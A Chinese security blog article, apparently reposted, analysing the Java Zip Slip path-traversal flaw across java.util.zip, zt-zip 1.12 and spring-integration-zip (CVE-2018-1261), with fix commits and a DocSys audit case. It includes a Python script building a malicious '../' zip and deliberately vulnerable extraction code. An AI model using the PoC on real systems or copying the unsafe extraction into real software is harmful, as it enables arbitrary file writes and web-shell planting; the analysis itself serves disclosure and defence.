Java Zip Slip漏洞案例分析及实战挖掘

admin 2023年2月1日17:29:49评论44 views字数 6232阅读20分46秒阅读模式

前言

Zip Slip的漏洞成因非常简单,这个漏洞绑定的业务功能点:上传压缩包文件,后端解压压缩包保存其中的文件到服务器本地。

漏洞成因:待上传的压缩包中可以构造条目名,后端保存文件的时候,常常将条目名提取出来并和保存目录拼接作为最后的保存文件路径,但是压缩包是可控的,从而其中保存的原始条目名也是可控的,因此可以在文件名处利用跳转到任意目录,从而向任意目录写入新文件或者覆盖旧文件。具体案例可见下文。../

在Zip Slip公布者文章中,提到,Java中的Zip Slip漏洞尤其普遍:

该漏洞已在多个生态系统中发现,包括JavaScript,Ruby,.NET和Go,但在Java中尤其普遍,因为Java没有中央库提供存档(例如.zip)文件的高级处理。缺乏这样的库导致易受攻击的代码片段被手工制作并在StackOverflow等开发人员社区之间共享。

本文从原生的Java.util.zip->zt-zip->spring integration zip进行Zip Slip漏洞分析,并在最后附上此漏洞的代审案例。

生成恶意zip

import zipfile

if __name__ == "__main__":
try:
zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED) ##生成的zip文件
info = zipfile.ZipInfo("poc.zip")
zipFile.write("D:/tgao/pass/1", "../password", zipfile.ZIP_DEFLATED) ##压缩的文件和在zip中显示的文件名
zipFile.close()
except IOError as e:
raise e

上述生成的恶意zip,在Zip Slip中,会取出,并与保存目录拼接,其中获取的java方法类似与。../password../passwordzipEntry.getName()

原生的Java.util.zip

漏洞代码:实际场景下的的zip包是可控的,如通过文件上传等功能

package zip;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.Enumeration;
import java.util.zip.ZipEntry;
import java.util.zip.ZipFile;

public class Zip1 {
public static void main(String[] args) throws IOException {
//解压zip的包
String fileAddress = "D:/pythonProject/exp/ctf/poc.zip";
//zip文件解压路径
String unZipAddress = "D:/tgao/pass/";
//去目录下寻找文件
File file = new File(fileAddress);
ZipFile zipFile = null;
try {
zipFile = new ZipFile(file);//设置编码格式
} catch (IOException exception) {
exception.printStackTrace();
System.out.println("解压文件不存在!");
}
Enumeration e = zipFile.entries();
while(e.hasMoreElements()) {
ZipEntry zipEntry = (ZipEntry)e.nextElement();
File f = new File(unZipAddress + zipEntry.getName());
f.getParentFile().mkdirs();
f.createNewFile();
InputStream is = zipFile.getInputStream(zipEntry);
FileOutputStream fos = new FileOutputStream(f);
int length = 0;
byte[] b = new byte[1024];
while((length=is.read(b, 0, 1024))!=-1) {
fos.write(b, 0, length);
}
is.close();
fos.close();
}
if (zipFile != null) {
zipFile.close();
}
}
}

漏洞成因: 中的值是可控的,从而造成路径穿越,最终写入任意文件。File f = new File(unZipAddress + zipEntry.getName());zipEntry.getName()

ZT-拉链

引入依赖:

<dependency>
<groupId>org.zeroturnaround</groupId>
<artifactId>zt-zip</artifactId>
<version>1.12</version>xml
</dependency>

zt-zip组件中的解压功能,是在原生的java.util.zip基础上进行的封装。
漏洞代码:实际场景下的的zip包是可控的,如通过文件上传等功能。

package zip;

import org.zeroturnaround.zip.ZipUtil;

import java.io.File;

public class Zip2 {
public static void main(String[] args) {
File zip = new File("D:/pythonProject/exp/ctf/poc.zip");
File dir = new File("D:/tgao/pass");
ZipUtil.unpack(zip, dir);
}
}

跟进org.zeroturnaround.zip.ZipUtil#unpack(java.io.File, java.io.File)

Java Zip Slip漏洞案例分析及实战挖掘

继续跟进org.zeroturnaround.zip.ZipUtil#unpack(java.io.File, java.io.File, org.zeroturnaround.zip.NameMapper)

Java Zip Slip漏洞案例分析及实战挖掘

在上述方法中使用创建对象
可以先看其中的方法
new ZipUtil.Unpacker(outputDir, mapper)ZipEntryCallback(ZipUtil.Unpacker)org.zeroturnaround.zip.ZipUtil.Unpacker#process

Java Zip Slip漏洞案例分析及实战挖掘

上述代码中的在调用方法中传入的this.mapperorg.zeroturnaround.zip.ZipUtil#unpack(java.io.File, java.io.File)

Java Zip Slip漏洞案例分析及实战挖掘

进入org.zeroturnaround.zip.IdentityNameMapper

Java Zip Slip漏洞案例分析及实战挖掘

上述的map方法直接将传入的name参数返回并没有任何的过滤。
因此,再看方法对没有任何的过滤。所以导致了Zip Slip漏洞的产生。
org.zeroturnaround.zip.ZipUtil.Unpacker#processzipEntry.getName()

Java Zip Slip漏洞案例分析及实战挖掘

再回来看看org.zeroturnaround.zip.ZipUtil#unpack(java.io.File, java.io.File, org.zeroturnaround.zip.NameMapper)

Java Zip Slip漏洞案例分析及实战挖掘

跟进org.zeroturnaround.zip.ZipUtil#iterate(java.io.File, org.zeroturnaround.zip.ZipEntryCallback)

Java Zip Slip漏洞案例分析及实战挖掘

继续跟进org.zeroturnaround.zip.ZipUtil#iterate(java.io.File, org.zeroturnaround.zip.ZipEntryCallback, java.nio.charset.Charset)

Java Zip Slip漏洞案例分析及实战挖掘

可以看到调用了原生的等API
此方法中也没有任何的过滤,直接将zip流内容和ZipEntry传入了(在上文已讲过)。
java.util.zip.ZipFile#ZipFile(java.io.File)org.zeroturnaround.zip.ZipUtil.Unpacker#processUnpacker#process

在zt-zip在1.13版本中进行了修复:https://github.com/zeroturnaround/zt-zip/commit/759b72f33bc8f4d69f84f09fcb7f010ad45d6fff#

Java Zip Slip漏洞案例分析及实战挖掘

弹簧集成拉链

CVE-2018-1261

引入依赖

<dependency>
<groupId>org.springframework.integration</groupId>
<artifactId>spring-integration-zip</artifactId>
<version>1.0.0.RELEASE</version>
</dependency>

<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<version>1.7.30</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-simple</artifactId>
<version>1.7.30</version>
<type>jar</type>
</dependency>

spring-integration-zip依赖于zt-zip

漏洞代码:实际场景下的的zip包是可控的,如通过文件上传等功能

package zip;

import org.springframework.core.io.DefaultResourceLoader;
import org.springframework.core.io.Resource;
import org.springframework.core.io.ResourceLoader;
import org.springframework.integration.support.MessageBuilder;
import org.springframework.integration.zip.transformer.UnZipTransformer;
import org.springframework.messaging.Message;

import java.io.File;
import java.io.InputStream;

public class Zip3 {
private static ResourceLoader resourceLoader = new DefaultResourceLoader();

public static void main(String[] args) {
final Resource evilResource = resourceLoader.getResource("classpath:poc.zip");
try{
InputStream evilIS = evilResource.getInputStream();
Message<InputStream> evilMessage = MessageBuilder.withPayload(evilIS).build();
UnZipTransformer unZipTransformer = new UnZipTransformer();
unZipTransformer.transform(evilMessage);
}catch (Exception e){
System.out.println(e);
}
}
}

跟进构造方法org.springframework.integration.zip.transformer.UnZipTransformer#UnZipTransformer

Java Zip Slip漏洞案例分析及实战挖掘

跟进构造方法org.springframework.integration.zip.transformer.AbstractZipTransformer#AbstractZipTransformer

Java Zip Slip漏洞案例分析及实战挖掘

初始化了和属性,前者为,后续会用到此值,而默认值为后续也会使用到该值。在我的测试环境下,如下:zipResultTypeworkDirectoryZipResultType.FILEworkDirectorynew File(System.getProperty("java.io.tmpdir") + File.separator + "ziptransformer")System.getProperty("java.io.tmpdir") + File.separator + "ziptransformer"

Java Zip Slip漏洞案例分析及实战挖掘

创建完后,执行方法UnZipTransformerorg.springframework.integration.transformer.AbstractTransformer#transform

Java Zip Slip漏洞案例分析及实战挖掘

其中参数值是文件读取流,继续跟进messageziporg.springframework.integration.zip.transformer.AbstractZipTransformer#doTransform

Java Zip Slip漏洞案例分析及实战挖掘

继续跟进org.springframework.integration.zip.transformer.UnZipTransformer#doZipTransform

Java Zip Slip漏洞案例分析及实战挖掘

继续跟进

Java Zip Slip漏洞案例分析及实战挖掘

调用了的,只不过在这里自己创建了一个匿名对象,最后会调用此匿名对象的方法zt-zipapispring integration zipZipEntryCallbackprocess

Java Zip Slip漏洞案例分析及实战挖掘

没有任何过滤,导致zip slip发生。
修复方案如下:https://github.com/spring-projects/spring-integration-extensions/commit/a5573eb232ff85199ff9bb28993df715d9a19a25

Java Zip Slip漏洞案例分析及实战挖掘

审计实战

项目地址:https://gitee.com/RainyGao/DocSys
在方法中存在如下代码片段
com.DocSystem.controller.BaseController#unZip

Java Zip Slip漏洞案例分析及实战挖掘

其中的值是可控的,通过可以将恶意jsp文件写到web根目录。
寻找触发点,发现在方法中触发了方法
entry.getName()../com.DocSystem.controller.ManageController#upgradeSystemcom.DocSystem.controller.BaseController#unZip

关键代码如下: 具体漏洞复现可参考:

https://gitee.com/RainyGao/DocSys/issues/I65IYU

Java Zip Slip漏洞案例分析及实战挖掘

来源先知社区的【TGAO师傅

注:如有侵权请联系删除

Java Zip Slip漏洞案例分析及实战挖掘

 

如需进群进行技术交流,请扫该二维码

Java Zip Slip漏洞案例分析及实战挖掘


原文始发于微信公众号(衡阳信安):Java Zip Slip漏洞案例分析及实战挖掘

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月1日17:29:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java Zip Slip漏洞案例分析及实战挖掘https://cn-sec.com/archives/1531778.html

发表评论

匿名网友 填写信息